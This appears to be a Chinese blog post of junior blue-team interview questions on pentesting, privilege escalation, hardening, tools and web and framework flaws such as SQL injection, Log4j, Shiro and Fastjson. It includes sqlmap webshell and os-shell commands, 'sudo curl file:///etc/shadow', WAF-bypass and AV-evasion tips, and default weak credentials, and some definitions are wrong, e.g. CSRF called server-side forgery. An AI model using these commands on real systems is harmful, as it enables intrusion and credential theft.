首页 > 其他分享 >蓝队初级常见面试题目

蓝队初级常见面试题目

时间:2024-07-10 13:20:48浏览次数:6  
标签:文件 漏洞 攻击 蓝队 用户 恶意 面试 初级 攻击者

内网模块

内网渗透思路

(1)目标:对目标服务器所在的内网资源进行渗透最终获取域控制权限的过程(域控制权限可以控制内网中所有的用户和设备);管理员以一台主机作为域控制器,将内网中其余主机加入到域控当中,那么这台域控制器就可以控制其余的所有主机;所以内网的渗透最终目的就是拿下与控制器的权限

域控制器

通过域成员主机,定位出域控制器 IP 以 及域管理员账号,利用域成员主机作为 跳板,扩大渗透范围。利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从该域成员主机内存中dump出域管理员密码,进而拿下域控制器。

(1)如何找到域控(域控制器)

去寻找DNS服务器,一般域控就是DNS域名服务器,一般域控主机会开启DNS服务和LTAP服务,可能开放53,389端口

内网信息收集

Windows
系统相关—系统信息,查看主机开机时间net statistics workstation;
用户相关----#检查当前用户,权限 whoami /user && whoami /priv
程序相关—查看安装的版本,查看运行的进程–tasklist
网络连接相关–netstat -ano 端口信息
ipconfig /all #查询本机IP段,所在域等
route print #打印路由信息
arp -a #查看arp缓存,可以发现内网主机
域相关-----判断是否存在域
net config workstation # 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain # 查看域
Linux

系统相关–cat /etc/issue #查看系统名称
cat /etc/Lsb-release #查看系统名称,版本号
cat /etc/*release #查看linux发行信息
uname -an #查看内核版本
cat /proc/version #查看内核信息
cat /proc/cpuinfo #查看cpu信息

查看文件系统

df -a

查看系统日志

sudo cat /var/log/syslog

查看命令记录

cat /root/.bash_history
cat ~/.bash_history
用户相关
whoami #查看当前shell权限
id #查看当前用户的权限和所在的管理组

查看登录信息

w
who
last #登入过的用户信息
lastlog #显示系统中所有用户最近一次登录信息

查看账号信息

cat /etc/sudoers
cat /etc/group
cat /etc/passwd

列出目前用户可执行与无法执行的指令

sudo -l
网络相关

查询本机IP信息

ifconfig
ip a

查看端口信息

netstat -anpt

查看网卡配置

cat /etc/network/interfaces
程序相关

查看进程信息

ps -ef #标准格式显示
ps aux #BSD格式显示
配置信息
iptables –L #查看防火墙配置(注意需要root权限)

黄金和白银票据

  1. 黄金票据和白银票据区别?

黄金票据:得到krbtgt的NTLMHash,就可以伪造TGT和LogonSession Key来进入下一步客户端与TGS的交互。(在kerberos协议第二阶段发起的攻

击)

白银票据:白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGS。因为在票据生成过程中不需要使用KDC(即没

有前四步),所以可以绕过域控制器(在kerberos协议第五阶段发起的攻击)

木马免杀

有过简单的了解,可以用 msf 或者 cs 结合其它的框架生成免杀马,主要就是 静态免杀和动态免杀方式:可以通过替换 api,重 写 api,合理替换调

用顺序,绕过调用 源来免杀

静态免杀方式:替换特征码,替换资源, 修改入口点,(peid工具加壳)加壳。

0day防御

1、基于业务方面的0day防御
系统维护升级!!(24小时一般官方升级补丁或者0day防御手段出现)
2、基于技术方面0day防御
0day爆发前拿到poc,根据poc漏洞攻击规则,进行代码修补
虚拟补丁进行流量封堵
设:
流量规则 /index.php?cmd=whoami;
访问index.php页面的并且函数为cmd,存在whoami ,pwd等流量,直接拦截

系统加固

Linux加固:

1、禁止root之外的用户使用password -l锁定用户、关闭不必要的服务、关闭SSH默认端口、禁止root远程登录ssh、禁用talent服务

2、限制普通哟用户使用sudo进行非法提权,或者是限制提权的大小

3、锁定系统中多余的自建账号

4、设置账号锁定登录失败的次数,锁定时间等5

5、检查shadow中空口令的账号、修改口令复杂度、设置密码的有效期限

6、对于重要文件、使用chattr设置权限不可以修改

7、定时对日志进行审计、系统日志/var/log/message 安全日志/var/log/secure

Windows加固:

  1. 修改3389端口、登录时候不显示上次登录的用户名称、防止弱口令爆破
  2. 设置安全策略,不允许SAM账户的匿名枚举,不允许SAM账户和共享的匿名枚举。
  3. 在组策略中设置:阻止访问注册表编辑工具
  4. 开启审核对象访问,成功与失败;开启审核目录服务访问,成功与失败;开启审核系统事件,成功与失败
  5. 禁止445端口漏洞
  6. 设置屏幕保护在恢复时使用密码保护
  7. 设置windows密码策略:使密码必须满足复杂性,设置密码长度最小值为8位,设置密码最长存留期为30天
  8. 开启Windows防火墙,关闭ping服务,打开3389、80等服务

系统提权

Windows提权方式

1,系统溢出提权:通过系统中存在的漏洞或溢出漏洞获取跟高权限

2、数据库提权:

漏洞提权、弱口令、into outfile:利用数据库系统的漏洞或弱口令进行提权。例如,通过into outfile命令在MySQL中写入一个Web Shell。

MySQL UDF提权:在MySQL中利用用户自定义函数(UDF)执行系统命令,从而获得更高权限。

SQLserver使用xp_cmdshell提权:利用SQL Server中的xp_cmdshell存储过程执行系统命令,从而获得更高权限。

3、中间人劫持:在网络通信中进行中间人攻击,拦截和篡改数据包,从而获得未授权的访问和权限提升。这种方式通常需要在受害者和目标系统之间建立一个恶意代理。

Linux提权

  • 内核漏洞提权:

    • 利用Linux内核中的漏洞,通常通过特制的漏洞利用程序来执行任意代码,获得root权限。

    SUID提权:

    • 文件设置SUID权限(Set User ID),允许用户执行此文件时以文件属主的身份运行。如果文件属主是root,则用户可以以root权限运行该文件。例如,可以寻找系统中具有SUID权限的可执行文件,并利用其漏洞或功能进行提权。

    sudo提权:

    • sudo命令允许普通用户使用root权限执行命令。如果配置不当或存在安全漏洞,可能导致权限提升。例如,如果某用户被允许以root权限执行某些不安全的命令,可以利用这些命令进行提权。

    定时任务提权:

    • 利用crontab设置定时任务,这些任务默认以root身份执行。如果定时任务脚本或配置文件中存在漏洞或错误,可以利用这些漏洞进行提权。例如,可以在定时任务中插入恶意命令。

    curl提权:

    • 使用sudo curl file:///etc/shadow访问系统中的敏感文件,例如存储所有用户密码哈希值的/etc/shadow文件,然后破解这些哈希值获取高权限用户的密码。

安全基线检查

Linux安全基线检查

1;账号管理和授权:检测是否存在特殊账号、禁用或删除无用的账号、添加口令策略、禁止root远程登录、检查su权限

2、服务:关闭不必要的服务、不允许root用户直接登录、修改允许密码错误的次数

3、文件系统:设置登录超时(/etc/profile)

4、IP:远程登录取消talent、采用SSH、禁止ICMP重定项、禁止源路由转发https://cloud.tencent.com/developer/article/1668982

Windows安全基线检查

  • 身份鉴别:更改缺省账户;检查Guest用户是否禁用;密码复杂性要求;密码长度最小不能小于8位
  • 访问控制:共享账户检查;远程关机授权;本地关机’授权帐户登陆
  • 安全审计:用户登录日志记录;系统日志完备性检查‘登录超时管理
  • 资源控制:登录超时管理;远程登录超时配置
  • 剩余信息保护:不显示上次的用户名;关机前清除虚拟内存页面;不启用可还原的加密来存储密码

渗透模块

渗透思路

(1)就是对目标网站进行信息收集;看下网站用的什么语言写的,是php还是jsp还是html;看下网站用的什么中间件,是iis还是apache啥的;会扫描下网站开放的端口,有没有敏感端口泄露;还有用fofa或者鹰图看下这个网站曾经开放的历史端口,因为nmap有些端口可能扫不出来;使用目录扫描工具,比如御剑,dirsearch等对网站进行扫描看看能不能扫出敏感文件或者后台;收集网站的子域名或者c段的ip;(whios信息,子域名,旁站,C段,中间件类型,等等)(nmap,御剑,fofa等工具)(CMS信息,CDN,证书,DNS历史记录)

(2)使用AWVS,appscan等漏洞扫描工具对目标网站进行漏洞扫描

(3)然后进行手工漏洞验证,利用相关的漏洞看看是否可以拿到Webshell或者其他权限

(4)权限提升:比如windows内核溢出提权,sql_server提权、windows提权、数据库提权,web中间件提权,dll劫持提权等(对拿到的shell权限的漏洞点进一步提权或者内网渗透)

(5)日志清理;总结报告以及修复方案

CDN绕过

内容分发网络;让用户就近获取信息;降低网络拥塞使用超级Ping在线工具进行判断, 国外地址请求,查看dns历史记录

登录口渗透

(1)首先肯定就是尝试爆破,看是否存在弱口令

(2)爆破不行的话然后就是看是否存在sql注入漏洞,看看传输的数据是否可以拼接命令执行

(3)看是是否有忘记密码之类的操作,看看是否存在逻辑漏洞

(4)看看网站的语言,框架,看看是否存在已知的漏洞,使用AWVS等漏扫工具扫扫看看是否有漏洞,然后手动验证一下

渗透注意问题

未授权,不渗透,不要影响网站的正常业务(打崩对方网站),一般不进行提权,提权操作可能会导致对方服务器蓝屏,在文件长传时候一般上传phpinfo文件就行了,渗透的程度一般就是证明这个漏洞的存在即可)

渗透工具模块

nmap

namp -p 1-65535 192.168.1.1 -v 扫描全端口(-v表示显示扫描过程)

nmap -sT ip 使用TCP connect扫描

nmap -Pn ip 非ping扫描,不执行主机发现

nmap -sP ip ping扫描,扫描前先通过ping确认主机存活

nmap -sV ip 服务版本探测

nmap -O ip 操作系统检测

nmap -T4 ip 设置定时模板(越高越快)

nmap --script 使用脚本

nmap -A ip 进行全面扫描(ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测)

burpsuite

Burpsuite包括以下几个模块
Proxy:代理,默认地址是127.0.0.1,端口8080
Target:站点目标,地图
Spider:爬虫
Scanner:漏洞扫描
Repeater:http请求消息与响应消息修改重放
Intruder:暴力破解
Sequencer:随机数分析
Decoder:各种编码和散列转换
Comparer:可视化差异对比

sqlmap

  • GET参数注入

    • sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
  • POST参数注入

    • sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"
  • 请求包文件注入

    • sqlmap -r "/root/1.txt"Burp拦截数据右键保存为txt,虽有用sqlmap加

      其他参数:

    sqlmap -p "id" 对指定参数进行注入

    sqlmap --dbs 破解所有数据库(爆数据库)

    sqlmap --tables -D mlh 破解mlh库下的所有表(爆表名)

    sqlmap --columns -T mlh 破解mlh表下的所有字段名

    sqlmap --dump -C name,password 获取字段中的内容 (爆字段)

    sqlmap --current-db 当前数据库名 (爆数据库名)

    sqlmap --current-user 当前数据库的用户名

    sqlmap --batch 任何选项都选择默认

    sqlmap --cookie "cookie值" cookie注入

    sqlmap --level X 设置扫描等级,最高为X=5

    sqlmap --risk X X取值0~3,risk越高就越慢,但是风险降低

    sqlmap --os-shell 文件写入挂马 (挂马)

    sqlmap --os-dbms 爆数据库类型

    sqlmap --tamper **.py,**.py 使用脚本,后面参数为tamper库中的py文件,绕WAF

    系统交互的shell: --os-shell

    写webshell:--file-write "c:/1.txt” --file-dest “C:/php/htdocs/sql.php” -v1

    • 将C:/1.txt文件上传到C:/php/htdocs/下,改名为sql.php

    • sqlmap过waf : --tamper ""

  • 明知有注入点跑不出来:字符集不够,加字典

  • sqlmap流量特征

    • ua头有"sqlmap"字样,可以通过使用 sqlmap 自带的选项 --user-agent 或 --random-agent,将报文头部的这一段信息进行隐蔽

wireshark

wireshark是一款网络封包协议软件,用来截取并分析只当网卡上的流量包,filter编辑框中,过滤规则如果无误,框会显示绿色,否则是红色

过滤ip

  • 过滤源ip:ip.src==1.1.1.1显示来源IP
  • 过滤目的ip:ip.dst==1.1.1.1显示目标IP

过滤端口

  • 过滤端口:tcp.port==80显示80端口
  • 过滤源端口:tcp.srcport==80(来源端口)
  • 过滤目的端口:tcp.dstport==80(目标端口)

过滤协议

  • 直接输入协议名,如http,tcp,arp.icmp

http模式过滤

  • 过滤get/post包:http.request.method=="GET/POST"

TOP10漏洞

SQL注入

SQL注入原理?

web应用程序对用户输入的sql语句没有进行严格的过滤和验证,导致攻击者可以将自己构造的sql语句与我们后端的sql语句进行拼接执行

SQL注入分为哪几种类型?

我们可以把sql注入直接的分为字符型和数字型,主要特点就是在进行sql注入的时候是否需要闭合传参的单引号,不需要闭合说明是数值型,反之就是字符型;还可以将sql注入分为有回显的注入和无回显的注入,无回显的注入又别称为盲注,盲注有三大类,布尔盲注、时间盲注以及报错盲注;根据sql注入各自的特点可以分为联合注入、二次注入、宽字节注入、堆叠注入等,根据http报文中的不同位置可以有cookie注入、referer注入、x-forwarded-for注入等。

时间盲注是什么?

时间盲注就是页面没有明显的回显,只能根据页面的刷新时间来判断构造的语句是否正确,常用函数if(),sleep()benchmark函数等等

布尔盲注是什么?

根据页面正确和错误两种状态,来判断构造的语句是否正确,常用函数length() substr() mid() left()

宽字节注入是什么?

后端代码和数据库编码格式不一致,gbk会把两个字节转为一个中文字符。有些waf会对用户输入的单引号进行转义,可以通过在单引号前加%df,变为 %df%5c,如果数据库采用GBK编码,就会认为是一个汉字,从而绕过转义,单引号逃逸,完成注入。

报错注入用到的函数以及原理?

原理:updatexml()一共有三个参数,第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容;这里报错的主要原理是利用第二个参数,当其校验输入的内容是否符合XPATH格式的时候,不符合就报错,我们将第二个参数替换为version()或者database()等等,因为不满足XPATH格式所以会输出错误,输出错误的时候将sql代码(verson()/database()等)执行了。

SQL注入常用函数(爆破函数)

updatexml() extractvalue() floor() sleep() if() length() substr() mid() oderby()bencamark(sleep函数不能用的前提下)

SQL注入绕过WAF?

大小写,双写,编码,内敛注释

SQL注入预防措施?

PDO预处理,采用预编译语句,对用户输入的数据进行过滤和验证,增加waf,防火墙等安全设备

SQL注入写webshell的条件有哪些?

(1)知道网站的绝对路径

(2)具有root权限,就是有文件的写入权限

(3)secure_file_prive函数不为空(就可以通过select into outfile写入webshell),php关闭魔术引号GBC,PHP自动转义功能关闭

SQL注入如何写shell?

(1)手动写入 select “一句话木马”into outfile“路径”

(2)使用工具写入 sqlmap --os-shell(利用UDF提权获取webshell,也是通过into_dumpfile向服务器写入两个文件,一个用来执行系统命令,一个用来上传文件)

SQL盲注怎么判断有没有成功?

使用union查询语句进行测试,如果页面返回了我们注入的信息,就说明注入成功了。使用sleep()函数来进行测试,如果页面返回了我们预期的等待时间,就说明注入成功了

MySQL5.0以上和5.0以下有什么区别?

5.0以上有information—schema这个数据库,5.0一下没有,只能通过暴力跑表

SQL注入流程

寻找注入点,判断注入类型,使用order by语句查询数据库有多少字段,然后是同union联合查询语句来查询数据库的相关信息

SQL注入写shell,除了into outfile还有什么?into dumpfile

  • MySQL提权方式

    利用Udf提权:通过创建自定义函数(User-Defined Function,简称UDF)并在其中执行系统命令或者DLL劫持等方式实现提权。

    利用系统函数提权:通过MySQL内置的一些函数,如sys_exec等,来执行系统命令,从而实现提权。

    利用mysql_config文件提权:通过修改mysql_config文件中的编译参数,并重新编译MySQL源码来执行系统命令,从而实现提权。

    利用缓存区溢出漏洞提权:通过构造恶意数据包,利用MySQL Server的缓存区溢出漏洞,实现提权。

  • SqlServer提权方式

    利用xp_cmdshell存储过程:如果 SQL Server 的 sysadmin 权限被授予到了当前用户,则可以使用 xp_cmdshell 存储过程执行操作系统命令,从而获取更高的权限。

    利用SQL注入漏洞:攻击者可以利用 SQL 注入漏洞,执行一些系统命令来获取更高的权限。

    利用系统漏洞:如果当前 SQL Server 的版本存在漏洞,则攻击者可以利用该漏洞获取更高的权限

PHP反序列

(1)反序列化原理?

序列化是指将对象转化为便于运输的字节序列;反序列化与之相反;当输入的反序列化的数据可以被攻击者控制,那么攻击者就可以构造恶意的输入,让反序列产生非预期对象,从而执行恶意代码

(2)简单介绍一下PHP反序列化漏洞

PHP反序列化漏洞通常存在于使用unserialize()函数处理用户输入的情况。当应用程序接受不受信任的输入,并将其传递给unserialize()函数时,就可能导致安全漏洞。

unserialize()函数用于将序列化的字符串转换回原始的PHP变量。然而,如果攻击者能够控制序列化的数据,并且该数据中包含恶意代码或利用某些对象的特殊行为(如调用任意方法、执行任意代码等),那么攻击者就可能在目标系统上执行任意操作

就是攻击者构造恶意的php变量,传递给unserialize()函数,然后这个函数还原为php变量,服务器解析执行这个恶意代码

(3)Java反序列化:

创建了一个对象输出流;通常对象输出流的readobject方法来杜宇对象

命令执行

(1)命令执行原理?

程序应用有时候需要调用执行一些系统命令函数,如PHP中的system()exec()shell_exec()passthru()eval()popen()

(2)PHP存在哪些危险函数?

用户能够控制函数的输入,存在可以执行代码或者系统命令的危险函数;exec(执行外部程序) system(执行外部程序) shell_exec(使用shell执行外部程序) ini_set(修改php环境) eval(传输数据)

文件上传

(1)文件上传的原理?

开发人员未在文件上传点对文件名和文件内容做严格的过滤,导致用户可以上传恶意的脚本到服务端(上传一句话木马,冰蝎,大马等等)

(2)文件上传绕WAF?

绕过黑名单(大小写),绕过白名单(%00截断),绕过前端验证(burp抓包修改content-type的值),文件内容绕过,htaccess文件

(3)预防方法?

就是对文件类型可以通过白名单或者黑名单的判断,或者对文件的内容进行检测,或者对上传的文件进行重命名等等

文件下载

是指攻击者利用Web应用程序中的漏洞,通过某种方式下载到了应该不被公开访问的文件,这些文件可能包含敏感信息,如用户凭证、密码等,从而造成安全风险。

文件包含

(1)文件包含的原理?

问价包含是在程序的编写过程当中,为了减少重复代码的编写操作,将重复的代码采取从外部引入的方式,如果包含的内容可以被攻击者控制,就可以构造脚本来获取服务器的控制权,一般分为本地包含和远程包含(allow_url_include=ON,可以加载远程文件)

(2)PHP造成文件包含漏洞的常用函数有哪四个?区别是什么?

include :找不到被包含的文件时会产生警告,脚本继续运行

include_once:有once表示不会重复包含,没有可以重复包含

require:找不到被包含的文件时发生致命错误,脚本不运行

require_once:可以重复包含

(3)文件包含的防护

一般的防护手段包括对文件进行敏感内容查找,或者限制文件的类型

(4)PHP的%00截断知道吗

在PHP中,字符串是以C风格的字符串(以null字节结尾)来存储的。因此,当PHP解析器遇到一个null字节(%00)时,它会认为字符串已经结束。这种特性有时会被攻击者利用来绕过某些安全检查。

(5)Java存在哪些危险函数?

runtime.exec() processbuider()

(6)Java反序列化知道吗?

序列化就是将对象转为为二进制数据,反序列化就是将二进制数据还原为对象

XSS

(1)XSS漏洞的原理?(跨站脚本攻击)

应用程序没有对用户提交的内容进行验证和重新编码,直接呈现个网站访问时,可能会触发XSS,攻击者利用上述漏洞,在页面中嵌入JS脚本,用户访问含恶意脚本代码的页面或者打开URL连接的时候,浏览器自动加载恶意代码,达到攻击的目的(大小写,双写)

(2)xss有哪三种类型?

存储型:攻击者将恶意脚本存储在数据库中,当用户浏览页面时,恶意脚本会从数据库中取出并执行,从而攻击用户

反射型:攻击者通过URL或者表单提交等方式将恶意脚本注入到页面中,用户打开页面后,恶意脚本会被执行,从而攻击用户。

DOM型:攻击者通过修改页面的DOM节点,注入恶意脚本,当用户与页面交互时,恶意脚本会被执行,从而攻击用户。不经过后端

(3)XSS防御措施?

过滤用户输入的数据,特别是用户的HTML、JavaScript等代码,以防止注入攻击。

对用户输入的数据进行编码,例如使用HTML实体编码、URL编码等。

限制用户输入的数据长度,避免攻击者通过输入超长数据来进行攻击。

及时更新Web应用程序的安全补丁,避免已知的安全漏洞被攻击者利用。

对于需要认证的页面,需要验证用户的身份,以避免攻击者通过伪造用户身份进行攻击。

使用HTTP-only,禁止javaScript读取cookie。

(4)XSS蠕虫

用户之间产生交互的页面之间都可能存在XSS蠕虫

CSRF

(1)CSRF原理(服务端请求伪造)

利用受害者尚未失效的身份认证信息,诱骗用户去点击恶意的链接或者访问包含攻击代码的页面,在受害人不知请的情况下向服务器发送非法请求,完成攻击

(2)预防措施?

验证http头referer/请求地址中增减token验证

(3)XSS危害?

利用受害者身份发送邮件,发消息,盗取用户信息(账号)

SSRF

(1)SSRF原理(服务端请求伪造)

服务端提供了从其他服务齐获取数据的功能,但是没有对目标地址进行过滤和限制,导致用户可以以服务器为跳板,获取内网资源(利用一个可以发起网络请求的服务器当作跳板来攻击内网的其他服务)

(2)SSRF预防措施?

URL白名单(限制不能访问内网IP ) 过滤返回信息,同意错误信息,限制端口,只允许http和http请求

(3)SSRF危害?

获取内网资源,利用file协议读取本地文件,利用Redis未授权访问,注入webshell

(4)SSRF如何绕过WAF?

进制转换IP,使用@在主机名之前的URL中嵌入凭据,302跳转,DNS重绑定

(5)SSRF伪协议相关问题?

dict协议:使用dict协议探测端口号、检测是否有若口令等等file:// 访问本地文件系统(在没有回显的情况下)
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

gopher:支持发出GET POST请求;可以先截获get请求包和post请求包,在构造符合goher协议的请求

XXE

(1)XXE漏洞原理?(外部实体注入)(simple_load—string)

一些配置不当的xml处理器会对外部实体进行引用,攻击者在上传的xml中添加恶意内容,进行攻击xml处理器,比如进行任意文件的读取,系统命令执行等

(2)XXE危害?

任意文件读取,系统命令执行,内网端口探测,攻击内网网站

(3)XXE无回显怎么办?

使用外带技术,利用报错信息,使用盲注技巧,或者结合其他的漏洞,如果有外网权限去访问我在外网部署的服务,查看是否执行。如果无外网权限,执行文件写入,看是否可以生成新的文件

(4)XXE预防措施

使用开发者语言提供的禁用外部实体的方法,验证过滤用户提交的XML数据,过滤SYSTEM等敏感关键字

(1)什么是同源策略

在同一个协议,域名,端口号下的资源被视为同源

(2)httponly如何绕过?

利用一些已知的漏洞获取cookie,比如 apache服务器存在的漏洞:攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie

逻辑漏洞

越权的本质就是失效的访问控制,未对用户的身份进行合理的验证,导致出现逻辑漏洞

(1)水平越权:A,B为同一级别用户,A用户可以控制B用户的权限

(2)垂直越权:A为管理员,B为普通用户,但是B可以控制A

(3)危害?

支付漏洞、短信轰炸漏洞、

框架模块

Log4j(’${‘’)

  • 介绍一下Log4j漏洞(apache的一个开源项目;java)

(1)messagepatternconverter类当中的format()方法一旦遇到日志中包含”${“,就会将表达式当中的内容替换为表达式解析后的内容,攻击者构造恶意的payload,然后format()方法就会执行payload

(2)strsubstitutor类,当遇到”${“,就会通过:作为分割,将表达式中的内容分为两部分,一部分作为prefix,另一部分作为key,然后根据prefix去找相应的lookup对象,通过相应的lookup实例调用自身的方法,去解析key(把key当作参数解析执行)

(3)jndi注入:就是jndi变量可控,攻击者远程加载一个恶意的class文件,当其中的恶意语句传入到log4j日志文件时候,lookup将恶意语句注入到${jndi:ldap://...}中,通过ladp协议访问class文件,从而达到漏洞的目的

  • Log4j流量特征是什么?

${jndi: ldap://xxx.xxx.xxx.xxx:53/c}

  • Log4j有哪些可用服务?

日志输出,日志格式化,有灵活的日志级别控制

  • 攻击成功的特征是什么?

远程代码执行(攻击者可以在目标系统上执行任意命令)

恶意日志记录(出现恶意的日志记录)

Shiro

  • 介绍一下Shiro漏洞

shiro框架提供了rememberme功能,用户登录成功后会生成通过序列化、AES加密、base64加密形成的cookie,攻击者可以通过解密得到AES密钥,然后构造恶意的对象,然后对其进行序列化-AES加密-base64加密,然后将其cookie作为rememberme的字段发送,然后服务器解密执行恶意对象

Shiro550和Shiro721的区别

(1)shiro550的AES密钥为硬编码,可以通过暴力破解的方式得到AES的密钥,攻击者构造恶意的对象,然后对其进行序列化-AES加密-base64加密,然后将其cookie作为rememberme的字段发送,然后服务器解密执行恶意对象,

(2)shiro721的AES加密使用的是CBC模式,可以用ysoserial生成包含恶意 payload的class,通过padding oracle工具对cookie进行爆破,并替换为生成的class,将padding oracle攻击工具生成的cookie替换原来的cookie达到反序列化并命令执行漏洞的利用;攻击者知道remembeme 的cookie字段,直接作为padiing oracle的前缀,将进行制造的恶意脚本放到remember字段中,然后服务器反序列化达到攻击的目标

  • Shiro的加密流程和解密流程是什么?

序列化、AES加密、base64加密形成cookie,解密过程相反

  • Shiro有哪些流量特征?

请求包cookie中有RememberMe字段,返回包中包含rememberMe=deleteMe字段

  • 如何判断一个网站是否用Shiro

查看网站响应头和cookie,分析万盏源代码或者配置

  • Shiro550攻击的前提是什么?

知道AES的密钥

  • Shiro721攻击的前提是什么?

目标系统使用shiro框架,并这个框架的版本存在这个漏洞,攻击者可以获取到有效的remembeme cookie字段

  • Shiro721攻击的原理是什么?

攻击者无需知道remember的加密密钥,直接使用remember的cookie作为padding oracle attack的前缀,然后把进行构造的恶意语句写入rememeber字段当中,从而执行反序列攻击(服务器解析并执行恶意的语句)

Fastjson(@type)

  • 了解fastjson漏洞吗?

在处理json对象的时候,没有对@type字段进行相应的过滤;程序会尝试反序列化;在请求包里构造恶意的json格式payload,攻击者可以传入恶意的TemplateImpl类,通过该类的_bytecodes字段生成Java实例,在生成java实例的过程中会调用构造函数,攻击者只需要将恶意的代码赋值给_bytecoders字段,恶意代码就会执行。

  • fastjson流量特征是什么?

"@type":"com.xxx.XXX"

  • 如何判断一个网站有没有fastjson漏洞?

查看网站的请求数据,看里面是否有@type字段

  • fastjson不出网怎么利用?

    (1)使用BasicDataSource链,构造恶意类后将其的字节码转化为BCEL格式,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL..这种格式,字啊newInstance方法执行后被实例化,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

(2)当解析JSON时,使用了特定的Feature,可能会触发一些非预期的行为。例如,使用Feature.SupportNonPublicField来支持非公共字段的反序列化,这可能导致安全隐患。如果攻击者能够控制JSON输入,并且应用程序使用了这个特性,那么攻击者可能构造恶意的JSON来触发漏洞。

(3)依赖于特定的应用环境或第三方库。例如,如果应用程序部署在Tomcat环境中,并且Tomcat自带了tomcat-dbcp.jar,那么在某些情况下,攻击者可能通过构造特定的JSON输入来触发与这个jar包相关的漏洞

structs2


  • Struts2框架漏洞了解吗?

st2-045:默认使用一个类对上传的数据进行解析,再处理contet-type时,如果获取非预期的值,会抛出一个异常错误,在异常错误处理过程中,会进行OGNL解析,如果错误信息中包含恶意代码,将会被执行

st2-062:(CVE-2021-31805)远程代码执行漏洞,会对某些标签的属性进行二次解析,如果当这些标签中使用了%{x},并且x值可控,用户传入一个恶意的值,即可造成OGNL表达式解析,最终导致远程代码执行漏洞,其中OGNL表达式就是用来访问java对象的属性和方法和集合的快捷方式

开发人员使用%{payload}语法进行了强制的OGNL解析,造成远程代码执行

thinkphp

  • thinkPHP框架漏洞了解吗?

(1)程序未对控制进行过滤,(在没有开启强制路由的情况下)攻击者可以通过反斜杠符号来调用任意类方法,从而框架存在代码执行漏洞,攻击者可以利用构造的恶意URL执行任意代码

比如index.php?s=index/\namespace\class/method,在解析url时,会实例化\namespace\class类并执行任意method方法

Framework

  • Spring FrameworK有什么明显的特征?

Spring 框架从在处理流程的缺陷,攻击者可以远程实现对目标主机的后门文件的写入和配置修改,继而获取主权的权限

weblogic

(1)主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认开启的T3协议进行传输和解析,进而导致weblogic服务器将恶意代码反序列化,最后执行攻击语句。T3是用于在WebLogic 服务器和其他类型的Java程序之间传输信息的协议。服务端可以持续追踪监控客户端是否存活(心跳机制),通常心
跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。

(2)weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意的HTTP请求,进一步攻击内网中的redis,fastgi等内网资源信息;Web server服务既可以被外部主机访问,同时也允许访问内部主机

(3)弱口令和上传war包:通过弱口令(weblogic/Oracle@123)登录管理后台后,点击部署,安装;上传war包

(4)反序列化漏洞:组件WLS Security对外提供websrerve服务,其中使用xmldecoder来解析用户传入的xml数据,在解析过程中会出现反序列化漏洞,导致执行任意命令

中间件模块

Apache漏洞

(1)解析漏洞:**多后缀名解析漏洞****(从右往左解析文件名,一直解析到可识别的后缀,如1.php.a.b,.b不认识,解析.a,还不认识就解析.php)

(2)目录遍历:(错误的配置导致目录遍历)没有充分过滤../../之类的目录跳转符号,导致恶意用户可任意跳转目录。目录遍历的标志index of/(修改httpd.conf中的配置文件)

Nginx漏洞

(1)文件解析漏洞:早期版本配置不当时,对于任意文件,后面加上/xxx.php会当作php文件解析执行,则攻击者可上传1.png图片马

(2)目录遍历:与apache一样,没有过滤../../等目录跳跃符,导致攻击者可以访问系统的任意目录(将autoindex on设置为off)

(3)CRLF注入(空格加换号):( 在HTTP中,header和body通过CRLF分割,浏览器根据CRLF来取出HTTP内容并显示出来;攻击者通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行)

IIS漏洞

(1)put漏洞:在Web服务拓展中开启了webdev;配置了可以写入的权限,造成任意文件上传,可以上传一句话木马

(2)解析漏洞:在6.0版本会将xxx.asp;xxx.jpg此类型的文件当成asp执行,分号后面的内容不被解析;相当于截断,攻击者就可以上传asp木马

(3)短文件名破解:构造某个存在的短文件,返回404,构造某个不存在的短文件,会返回400(升级.net framework/修改注册表禁用短文件名功能)

weblogic漏洞

(1)主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认开启的T3协议进行传输和解析,进而导致weblogic服务器将恶意代码反序列化,最后执行攻击语句。T3是用于在WebLogic 服务器和其他类型的Java程序之间传输信息的协议。服务端可以持续追踪监控客户端是否存活(心跳机制),通常心
跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。

(2)weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意的HTTP请求,进一步攻击内网中的redis,fastgi等内网资源信息;Web server服务既可以被外部主机访问,同时也允许访问内部主机

(3)弱口令和上传war包:通过弱口令(weblogic/Oracle@123)登录管理后台后,点击部署,安装;上传war包

(4)反序列化漏洞:组件WLS Security对外提供websrerve服务,其中使用xmldecoder来解析用户传入的xml数据,在解析过程中会出现反序列化漏洞,导致执行任意命令

Tomcat漏洞

(1)弱口令和上传war包:tomact支持在后台部署war包;由于配置不当,可以通过弱口令登录管理后台后,点击部署,上传war包(将jsp代码植入到war包当中)访问war包即可执行js代码

(2)任意文件写入(CVE-2017-12615):运行在windows主机上,且启用了http put请求方法的时候,可以通过构造的攻击请求向服务器上传包含任意代码的jsp文件,造成任意代码执行

Jboss漏洞

